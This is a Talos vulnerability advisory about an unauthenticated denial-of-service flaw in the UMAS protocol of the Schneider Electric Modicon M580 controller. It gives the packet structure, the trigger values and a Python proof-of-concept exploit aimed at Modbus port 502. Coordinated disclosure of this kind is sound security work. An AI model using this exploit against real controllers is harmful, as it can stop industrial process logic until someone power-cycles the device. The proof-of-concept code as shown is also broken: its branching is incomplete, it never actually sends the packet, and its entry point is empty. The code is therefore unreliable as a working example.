Talos Vulnerability Report


Schneider Electric Modicon M580 UMAS write system coils and holding registers denial-of-service vulnerability

June 10, 2019
CVE Number



An exploitable denial-of-service vulnerability exists in the UMAS write system coils and holding registers functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs


CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-248: Uncaught Exception


The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”

When attempting to write arbitrary bits or blocks to the Modicon M580, the command WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS can be used. It is possible to write beyond the end of a coil or register through manipulation of the offset field, causing a non-recoverable fault in some cases.

When object type 0x21 is requested via a WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS command with an offset value of 0xffffff, the device enters a non-recoverable fault state.

The structure of a WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
0 | A | B | C | D | E | F |       G       |   H   |   I   |   J
1                          < J continued >

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x25)
D --> Unknown              (0xff)
E --> Unknown              (0x00)
F --> Object Type          (0x21)
G --> Offset               (0x00ffffff)
H --> Unknown              (0x0000)
I --> Number of Coils      (0x0000)
J --> Data

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
def main():
    rhost = ""
    rport = 502
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    mbtcp_fnc = "\x5a"
    init_session = "\x00"
    umas_fnc = "\x25"
    unknown1 = "\xff"
    unknown2 = "\x00"
    object_type = "\x21"
    offset = "\xff\xff\xff\x00"
    unknown = "\x00\x00"
    num_coils = "\x00\x00"
    data = "\x00" * 10
    umas = "%s%s%s%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown1, unknown2, object_type, offset, unknown, num_coils)
    res = send_message(sock=s, umas=umas, data=data, wait_for_response=False)
    # clean up
if __name__ == '__main__':


2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release


Discovered by Jared Rittle of Cisco Talos